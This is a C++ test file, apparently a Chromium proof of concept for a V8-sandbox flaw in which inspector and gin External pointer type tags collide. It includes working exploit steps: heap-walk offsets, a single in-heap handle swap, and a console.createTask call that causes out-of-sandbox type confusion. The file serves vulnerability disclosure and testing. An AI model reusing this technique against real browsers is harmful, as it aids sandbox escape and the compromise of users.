// Copyright 2025 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

// Proof-of-concept for a V8-sandbox ExternalPointerTypeTag collision:
// v8/src/inspector hardcodes v8::ExternalPointerTypeTag values 9/10/11
// ("picked arbitrarily") which numerically collide with
// gin::kRegisterAdMacroBindingsTag / kReportBindingsTag / kSetBidBindingsTag.
//
// In the auction-worklet utility process both gin-tagged Externals (e.g.
// ReportBindings*) and inspector-tagged Externals (V8Console*) coexist in the
// same ExternalPointerTable once DevTools is attached. An attacker who has
// obtained in-sandbox arbitrary read/write (the V8-sandbox attacker model) can
// swap the 32-bit ExternalPointerHandle between two such JSExternalObjects;
// the per-type tag check that v8::External::Value() performs then *passes*,
// returning a live pointer of the wrong C++ type — out-of-sandbox C++ type
// confusion.
//
// Part 1 (TagCollisionDefeatsTypeCheck) demonstrates the root cause directly:
// External::Value() with the colliding tag returns the wrong-typed pointer
// instead of nullptr.
//
// Part 2 (TypeConfusionViaHandleSwap) sets up the real production scenario
// (AuctionV8Helper + V8Inspector + ReportBindings + console.createTask),
// performs the in-heap 32-bit handle swap (a purely in-sandbox operation), and
// calls console.createTask() — V8Console::createTask() then runs with
// `this == ReportBindings*` and crashes when dereferencing m_inspector /
// m_taskTemplate / m_tasks at the wrong offsets.
//
// NOTE: Part 2 is *expected to crash the test process* (that is the proof).

#include <stdint.h>

#include "base/run_loop.h"
#include "base/task/single_thread_task_runner.h"
#include "base/test/task_environment.h"
#include "content/services/auction_worklet/auction_v8_helper.h"
#include "content/services/auction_worklet/auction_v8_logger.h"
#include "content/services/auction_worklet/report_bindings.h"
#include "content/services/auction_worklet/worklet_v8_debug_test_util.h"
#include "gin/public/gin_embedders.h"
#include "testing/gtest/include/gtest/gtest.h"
#include "v8/include/v8-context.h"
#include "v8/include/v8-exception.h"
#include "v8/include/v8-external.h"
#include "v8/include/v8-function.h"
#include "v8/include/v8-inspector.h"
#include "v8/include/v8-internal.h"
#include "v8/include/v8-object.h"
#include "v8/include/v8-script.h"

namespace auction_worklet {

namespace {

// The hardcoded v8::ExternalPointerTypeTag values from v8/src/inspector/.
// See v8/src/inspector/v8-console.cc:521, v8-console.h:204,
// v8-serialization-duplicate-tracker.cc:52.
constexpr v8::ExternalPointerTypeTag kInspectorTaskInfoTag = 9;
constexpr v8::ExternalPointerTypeTag kInspectorV8ConsoleTag = 10;
constexpr v8::ExternalPointerTypeTag kInspectorDictionaryValueTag = 11;

// ---------------------------------------------------------------------------
// Compile-time proof of the collision. If gin's enum is ever reordered the
// collision moves but does not disappear; the static_asserts here document the
// *current* aliases.
static_assert(static_cast<int>(gin::kRegisterAdMacroBindingsTag) ==
                  static_cast<int>(kInspectorTaskInfoTag),
              "gin tag 9 collides with v8_inspector kTaskInfoTag");
static_assert(static_cast<int>(gin::kReportBindingsTag) ==
                  static_cast<int>(kInspectorV8ConsoleTag),
              "gin tag 10 collides with v8_inspector kV8ConsoleTag");
static_assert(static_cast<int>(gin::kSetBidBindingsTag) ==
                  static_cast<int>(kInspectorDictionaryValueTag),
              "gin tag 11 collides with v8_inspector kDictionaryValueTag");

// ---------------------------------------------------------------------------
// In-sandbox heap-walk helpers (simulating an attacker with V8-heap r/w).
// These use only the public v8-internal.h offsets plus per-object offsets
// that an in-sandbox attacker would discover by scanning. The marker check
// below verifies them at runtime so layout drift fails loudly.
using I = v8::internal::Internals;
using v8::internal::Address;

// Layout offsets with V8_COMPRESS_POINTERS + V8_ENABLE_SANDBOX (Chrome
// defaults on x64).
constexpr int kTagged = v8::internal::kApiTaggedSize;  // 4
// JSFunction: [map|props|elems] [dispatch_handle:int32] [SFI] ...
constexpr int kJSFunctionSfiOffset = I::kJSObjectHeaderSize + 4;
// SharedFunctionInfo: [map] [trusted_function_data:TrustedPtr32]
//                     [untrusted_function_data] ...
constexpr int kSfiUntrustedFunctionDataOffset = kTagged + 4;
// FunctionTemplateInfo: [map][flags][nprops][plist][pacc]
//                       [class][iface][sig][rare][sfi][cached][callback_data]
constexpr int kFtiCallbackDataOffset = 11 * kTagged;
// JSExternalObject: [map|props|elems] [value_:ExternalPointerHandle32]
constexpr int kJSExternalValueOffset = I::kJSObjectHeaderSize;

// Walks JSFunction → SFI → FunctionTemplateInfo → callback_data and returns
// the *tagged* heap address of the JSExternalObject bound as `data`.
Address FunctionDataExternalAddress(v8::Local<v8::Function> fn) {
  Address fn_addr = v8::internal::ValueHelper::ValueAsAddress(*fn);
  Address sfi = I::ReadTaggedPointerField(fn_addr, kJSFunctionSfiOffset);
  Address fti =
      I::ReadTaggedPointerField(sfi, kSfiUntrustedFunctionDataOffset);
  return I::ReadTaggedPointerField(fti, kFtiCallbackDataOffset);
}

// Returns a pointer to the in-heap 32-bit ExternalPointerHandle slot of the
// JSExternalObject at tagged address `ext`.
uint32_t* ExternalHandleSlot(Address ext) {
  return reinterpret_cast<uint32_t*>(ext + kJSExternalValueOffset -
                                     v8::internal::kHeapObjectTag);
}

// Reads the out-of-sandbox pointer stored in the JSExternalObject at tagged
// address `ext` via the ExternalPointerTable, using the kFirstExternalTypeTag
// + api_tag arithmetic that v8::External::Value() uses.
void* ReadExternalValue(v8::Isolate* isolate,
                        Address ext,
                        v8::ExternalPointerTypeTag api_tag) {
  uint16_t tag = static_cast<uint16_t>(v8::internal::kFirstExternalTypeTag) +
                 static_cast<uint16_t>(api_tag);
  v8::internal::ExternalPointerTagRange range(
      static_cast<v8::internal::ExternalPointerTag>(tag),
      static_cast<v8::internal::ExternalPointerTag>(tag));
  return reinterpret_cast<void*>(I::ReadExternalPointerField(
      isolate, ext, kJSExternalValueOffset, range));
}

void DummyCallback(const v8::FunctionCallbackInfo<v8::Value>&) {}

// ---------------------------------------------------------------------------

class ExternalPointerTagCollisionTest : public testing::Test {
 public:
  ExternalPointerTagCollisionTest()
      : helper_(AuctionV8Helper::Create(
            base::SingleThreadTaskRunner::GetCurrentDefault())) {
    base::RunLoop().RunUntilIdle();
    v8_scope_ =
        std::make_unique<AuctionV8Helper::FullIsolateScope>(helper_.get());
  }

 protected:
  base::test::TaskEnvironment task_environment_;
  scoped_refptr<AuctionV8Helper> helper_;
  std::unique_ptr<AuctionV8Helper::FullIsolateScope> v8_scope_;
};

}  // namespace

// ===========================================================================
// Part 1: the EPT type-tag check is defeated by the collision.
//
// v8::External::Value(tag) is supposed to return nullptr when `tag` does not
// match the tag the External was created with. Because gin::kReportBindingsTag
// and v8_inspector's kV8ConsoleTag are both 10, reading a gin-tagged External
// with the inspector tag (or vice-versa) returns the *wrong-typed* pointer
// instead of nullptr.
TEST_F(ExternalPointerTagCollisionTest, TagCollisionDefeatsTypeCheck) {
  v8::Isolate* isolate = helper_->isolate();
  v8::Local<v8::Context> context = helper_->CreateContext();
  v8::Context::Scope ctx_scope(context);

  // Two distinct C++ objects standing in for ReportBindings / V8Console.
  int report_bindings_standin = 0x11111111;
  int v8_console_standin = 0x22222222;

  v8::Local<v8::External> gin_ext =
      v8::External::New(isolate, &report_bindings_standin,
                        gin::kReportBindingsTag);  // api_tag 10
  v8::Local<v8::External> insp_ext =
      v8::External::New(isolate, &v8_console_standin,
                        kInspectorV8ConsoleTag);  // api_tag 10

  // ==> THE BUG: reading the gin-tagged External with the inspector tag passes
  // the EPT type check (which would otherwise SBXCHECK-fail) and returns the
  // gin pointer. An in-sandbox attacker who swaps the two JSExternalObjects'
  // 32-bit handles therefore hands the wrong-typed live pointer straight to
  // native code instead of being stopped at the SBXCHECK.
  void* p1 = gin_ext->Value(kInspectorV8ConsoleTag);
  void* p2 = insp_ext->Value(gin::kReportBindingsTag);
  EXPECT_EQ(&report_bindings_standin, p1)
      << "EPT tag check defeated: gin External readable with inspector tag";
  EXPECT_EQ(&v8_console_standin, p2)
      << "EPT tag check defeated: inspector External readable with gin tag";

  // The same holds for tags 9 and 11.
  v8::Local<v8::External> macro_ext = v8::External::New(
      isolate, &report_bindings_standin, gin::kRegisterAdMacroBindingsTag);
  EXPECT_EQ(&report_bindings_standin,
            macro_ext->Value(kInspectorTaskInfoTag));
  v8::Local<v8::External> setbid_ext = v8::External::New(
      isolate, &report_bindings_standin, gin::kSetBidBindingsTag);
  EXPECT_EQ(&report_bindings_standin,
            setbid_ext->Value(kInspectorDictionaryValueTag));
}

// ===========================================================================
// Part 2: full production scenario → out-of-sandbox type confusion crash.
//
// Sets up the exact state that exists in the auction-worklet utility process
// when DevTools is attached, performs the single 32-bit in-heap write the
// attacker model permits, and calls `console.createTask("x")`.
//
// V8Console::call<createTask> then reads info.Data()->Value(kV8ConsoleTag);
// the tag check (10==10) passes; the returned pointer is a ReportBindings*;
// V8Console::createTask() dereferences `this->m_inspector`,
// `this->m_taskTemplate`, `this->m_tasks` at V8Console offsets inside a
// ReportBindings allocation — out-of-sandbox C++ type confusion.
//
// THIS TEST IS EXPECTED TO CRASH (ASAN / SEGV). That is the proof.
TEST_F(ExternalPointerTagCollisionTest, TypeConfusionViaHandleSwap) {
  v8::Isolate* isolate = helper_->isolate();

  // (1) Instantiate the V8Inspector (what ConnectDevToolsAgent does).
  TestInspectorClient inspector_client(helper_.get());
  helper_->SetV8InspectorForTesting(
      v8_inspector::V8Inspector::create(isolate, &inspector_client));

  // (2) Create the worklet context and attach ReportBindings — this creates a
  //     v8::External holding {ReportBindings*, gin::kReportBindingsTag (=10)}
  //     bound as `data` for global `sendReportTo`.
  v8::Local<v8::Context> context = helper_->CreateContext();
  v8::Context::Scope ctx_scope(context);
  AuctionV8Logger logger(helper_.get(), context);
  ReportBindings report_bindings(helper_.get(), &logger,
                                 /*queue_report_aggregate_win_allowed=*/false);
  report_bindings.AttachToContext(context);

  // (3) Notify the inspector of the context (what DebugContextScope does on
  //     every RunScript/CallFunction). InspectedContext's ctor finds the
  //     `console` global and calls V8Console::installAsyncStackTaggingAPI(),
  //     which creates a v8::External holding {V8Console*, kV8ConsoleTag (=10)}
  //     bound as `data` for `console.createTask`.
  {
    v8_inspector::V8ContextInfo info(
        context, /*contextGroupId=*/1,
        v8_inspector::StringView(reinterpret_cast<const uint8_t*>("poc"), 3));
    helper_->inspector()->contextCreated(info);
  }

  v8::Local<v8::Object> global = context->Global();
  v8::Local<v8::Function> sendReportTo =
      global
          ->Get(context, helper_->CreateStringFromLiteral("sendReportTo"))
          .ToLocalChecked()
          .As<v8::Function>();
  v8::Local<v8::Object> console =
      global->Get(context, helper_->CreateStringFromLiteral("console"))
          .ToLocalChecked()
          .As<v8::Object>();
  v8::Local<v8::Value> ct_v =
      console->Get(context, helper_->CreateStringFromLiteral("createTask"))
          .ToLocalChecked();
  ASSERT_TRUE(ct_v->IsFunction()) << "console.createTask not installed";
  v8::Local<v8::Function> createTask = ct_v.As<v8::Function>();

  // (4) Verify our heap-walk offsets with a marker, so layout drift fails
  //     loudly instead of corrupting unrelated memory.
  int marker_obj = 0;
  v8::Local<v8::External> marker =
      v8::External::New(isolate, &marker_obj, gin::kReportBindingsTag);
  v8::Local<v8::Function> marker_fn =
      v8::Function::New(context, &DummyCallback, marker).ToLocalChecked();
  ASSERT_EQ(v8::internal::ValueHelper::ValueAsAddress(*marker),
            FunctionDataExternalAddress(marker_fn))
      << "V8 object layout changed; update heap-walk offsets";

  // (5) Locate both production JSExternalObjects via the in-sandbox heap walk
  //     and confirm they hold the expected pointers.
  Address ext_report = FunctionDataExternalAddress(sendReportTo);
  Address ext_console = FunctionDataExternalAddress(createTask);
  void* report_ptr =
      ReadExternalValue(isolate, ext_report, gin::kReportBindingsTag);
  void* console_ptr =
      ReadExternalValue(isolate, ext_console, kInspectorV8ConsoleTag);
  ASSERT_EQ(&report_bindings, report_ptr)
      << "heap walk did not find ReportBindings External";
  ASSERT_NE(nullptr, console_ptr) << "heap walk did not find V8Console External";
  ASSERT_NE(report_ptr, console_ptr);

  // ==> THE BUG, in-situ: the *production* V8Console External is readable with
  // the gin tag and vice-versa. This is what makes the swap below effective.
  EXPECT_EQ(console_ptr,
            ReadExternalValue(isolate, ext_console, gin::kReportBindingsTag));
  EXPECT_EQ(report_ptr,
            ReadExternalValue(isolate, ext_report, kInspectorV8ConsoleTag));

  // (6) ==== V8-SANDBOX ATTACKER STEP ====
  //     Overwrite console.createTask's JSExternalObject ExternalPointerHandle
  //     (a 32-bit *in-sandbox* field) with sendReportTo's handle. This is the
  //     only memory write the attacker performs, and it lies entirely inside
  //     the V8 sandbox.
  uint32_t* h_report = ExternalHandleSlot(ext_report);
  uint32_t* h_console = ExternalHandleSlot(ext_console);
  fprintf(stderr,
          "[POC] before: sendReportTo handle=%08x  console.createTask "
          "handle=%08x\n",
          *h_report, *h_console);
  *h_console = *h_report;  // <-- single in-sandbox 32-bit write
  fprintf(stderr,
          "[POC] after:  console.createTask handle=%08x  → now resolves to "
          "ReportBindings* (%p) under kV8ConsoleTag\n",
          *h_console, static_cast<void*>(&report_bindings));

  // Confirm: the External bound to console.createTask now yields
  // ReportBindings* when read with kV8ConsoleTag — the EPT type check has been
  // defeated and V8Console::call<createTask> will receive the wrong-typed
  // pointer.
  ASSERT_EQ(&report_bindings,
            ReadExternalValue(isolate, ext_console, kInspectorV8ConsoleTag));

  // (7) Call console.createTask("x"). V8Console::call<createTask> now does:
  //       V8Console* console = static_cast<V8Console*>(
  //           info.Data().As<v8::External>()->Value(kV8ConsoleTag));  // OK!
  //       (console->*createTask)(info);   // this == ReportBindings*
  //     and createTask() dereferences m_inspector / m_taskTemplate / m_tasks
  //     at V8Console offsets inside the ReportBindings allocation.
  fprintf(stderr,
          "[POC] calling console.createTask('poc') with type-confused `this` — "
          "expecting out-of-sandbox crash\n");
  v8::TryCatch try_catch(isolate);
  v8::Local<v8::String> src =
      helper_->CreateStringFromLiteral("console.createTask('poc');");
  v8::Local<v8::Script> script =
      v8::Script::Compile(context, src).ToLocalChecked();
  (void)script->Run(context);

  // If we get here the type confusion did not crash, which would mean the
  // confused field offsets happened to land on benign values on this build —
  // the tag-check bypass (asserted above) is the security defect regardless.
  FAIL() << "console.createTask() returned without crashing; tag-collision "
            "bypass is still proven by the assertions above.";
}

}  // namespace auction_worklet
